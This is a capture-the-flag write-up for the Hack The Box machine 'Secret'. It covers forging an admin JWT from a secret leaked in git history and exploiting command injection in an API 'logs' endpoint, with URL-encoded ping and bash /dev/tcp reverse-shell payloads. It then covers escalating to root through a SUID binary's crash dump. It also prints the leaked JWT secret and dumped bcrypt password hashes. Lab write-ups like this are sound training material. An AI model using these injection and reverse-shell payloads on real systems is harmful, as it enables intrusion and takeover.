Date: 27/07/2022
Difficulty: Easy
CTF: https://app.hackthebox.com/machines/Secret
Enumeration
Let’s start testing the connection with the target machine:
We have connection, and the ttl is 63, so we can say that we are probably against a Linux machine.
Let’s scan all TCP ports to see if there are open ports:
Let’s scan these ports more deeply to try to get the service and the version running there:
So, there is a SSH service running on port 22. And 2 http services running on 80 and 3000 TCP ports. The one running on port 80 is using nginx 1.18.0 and the one running on port 3000 is using Node.js (Express middleware)
Let’s take a look to them using whatweb:
Nothing new I guess… Let’s visit them using the web-browser:
There is a button to download the source code… Let’s download it.
It’s a zip file, so we have to uncompress it:
Looks like a git repository… We may have a look to the commits if we don’t find nothing useful.
Back to the webpage, there is a docs section where is explained how to install the software, and how to register a user, how to login and the private routes availables in the software.
The webpage shown when visiting the port 3000 looks identical to the previous one, so I’ll assume is the same one.
Let’s read the documentation in detail:
They are using JWT tokens to secure the website. And mongodp as database.
Apparently we can use the API to register a user and login also.
Let’s start trying to register a new user, I’ll use curl to send the POST request: curl -i -X POST -H 'Content-Type: application/json' -d '{"name": "angellm", "email": "alm@alm.com", "password": "angellm123!"}' http://10.10.11.120/api/user/register
It looks like it worked!
Let’s try to log in then:
So, let’s try to log in using the instructions above:
curl -i -X POST -H 'Content-Type: application/json' -d '{"email": "alm@alm.com", "password": "angellm123!"}' http://10.10.11.120/api/user/login
We obtained an auth Token.
According to the docs it should be a JSON Web Token, so let’s use https://jwt.io/ to check it:
Yep, it is and it has my name and email. Ok. Let’s see if we can access somewhere with this auth-token:
Let’s try to login using the credential of the user we created: curl -i -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmUxNmZlNGNlNmQ2NTA0NWEyZmVkZjYiLCJuYW1lIjoiYW5nZWxsbSIsImVtYWlsIjoiYWxtQGFsbS5jb20iLCJpYXQiOjE2NTg5NDE2Nzh9.Zki6v4H_CTObgP1MB-51j54yezKIQQ6t34yNrE9S_NQ' http://10.10.11.120/api/priv
Ok, we receive the message of the normal user. We should try to get the admin user I guess…
We have no idea of the admin credentials, but we can check the files we previously donwloaded. I searched for keywords as “JWT”, “auth-token” or “secret” but I didn’t found anything useful. I said before that the downloaded files are a git repository, so we can inspect the commits:
“removed .env for secutity reasons” Lol, this looks suspicious… Let’s take a look to the changes of that commit:
Bingo, that looks like the secret used to validate the auth-tokens: gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
If we use it to Encode the data of the user we created before we can see that the JWT obtained is the same.
Using the secret, we should be able to fake an admin auth-token. Looking at routes/private.js
file we can see that the only verification that is being done is to check if the name of the user is “theadmin”:
So, let’s bake a JWT with that name:
And now, let’s use it to login as we did before:
Success! We are now logged as admin, but what we should do now? hahaha
Looking back to private.js file, there is a route we haven’t used yet: /logs
According to the code, it’s doing something strange at line 38, like a sending a command and showing the output. To bake that command, the parameter file is being collected from the url… so maybe we can inject code there and perform a RCE in the target machine? Let’s try it:
To test it, I’ll listen in my local machine for pings in the tun0 interface:
tcpdump -i tun0 icmp -n
And I’ll try to send a ping from the target machine. To do so, I’ll url encode the command I want to execute: ; ping -c 1 10.10.14.13
> %3Bping%20-c%201%2010.10.14.13
If this is appended to the command that the target will execute, it should ping my machine. curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmUxNmZlNGNlNmQ2NTA0NWEyZmVkZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFsbUBhbG0uY29tIiwiaWF0IjoxNjU4OTQxNjc4fQ.U4MB0eP5yc3eXWzseM_7dP2jf0JZP7RovnoMx9jv4mM' http://10.10.11.120/api/logs?file=%3Bping%20-c%201%2010.10.14.13
Voila! We did it! Let’s try to obtain a reverse shell with the payload: ;bash -c "bash -i >& /dev/tcp/10.10.14.13/443 0>&1"
url encoded: %3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.13%2F443%200%3E%261%22
curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmUxNmZlNGNlNmQ2NTA0NWEyZmVkZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFsbUBhbG0uY29tIiwiaWF0IjoxNjU4OTQxNjc4fQ.U4MB0eP5yc3eXWzseM_7dP2jf0JZP7RovnoMx9jv4mM' http://10.10.11.120/api/logs?file=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.13%2F443%200%3E%261%22
Yeah!
And that’s how we obtain the user flag 🙂
Privilege Escalation
Let’s go for the root flag.
Ok, so we will have to escalate privileges.
This user is not inside any cool group…
Let’s look for SUID files:
There is a strange file there… /opt/count
Let’s see what it does:
It ask us for a file or directory. If we write a directory it lists the content and then it counts some things… As it’s being executed with root permissions, it’s able to see the content of /root folder. Finally, it ask us if we want to save the results. If we say yes it prompts asking for a name to create a file with the results. The data saved is not very interesing.
Let’s see what happens when we insert a file instead of a directory:
This time it doesn’t leak the content of the file…
Using this tool we can see that the root user has ssh keys inside the /root/.ssh folder
If we can grab them we can gain access via ssh as root.
Ok, let’s continue looking for a way to escalate to root:
No files with capabilities.
No cronjobs
The port 27017 is open internally, and we saw before that is the mongodb database.
Let’s enumerate the database:
Ok, we got interesting information there, users and hashed passwords.
theadmin:$2a$10$SJ8vlQEJYL2J673Xte6BNeMmhHBioLSn6/wqMz2DKjxwQzkModUei user222:$2a$10$WmuQwihUQkzSrRoYakQdI.5hdjo820LNxSfEYATaBoTa/QXJmEbDS newuser:$2a$10$wnvh2al2ABafCszb9oWi/.YIXHX4RrTUiWAIVUlv2Z80lkvmlIUQW dasith:$2a$10$S/GbYplKgIU4oFdTDsr2SeOJreht3UgIA0MdT7F50EtiBy7ymzFBO
mmmm… let´s try with this password
Is not the dasith password.
And is not valid neither for root user…
OK, let´s go back to the tool we find earlier at /opt directory. Let’s navigate to the /opt folder and see what’s inside:
It seems that we have access to the C code of the application.
After a while not seeing nothing I can use, I took a look to the official walkthrough
I didn’t know about this and I would never found it on my own…
Now we have to check if a crash report has been generated in /var/crash/
As it has been generated, we can use the tool apport-unpack to recover the report of this file .crash:
If we print the content of CoreDump file:
We can see what looks like a ssh credential, I’m going to copy it to my local machine and set the correct permissions:
Now, I should be able to use this credential to log as root using ssh:
And that’s how we gained access to the root flag!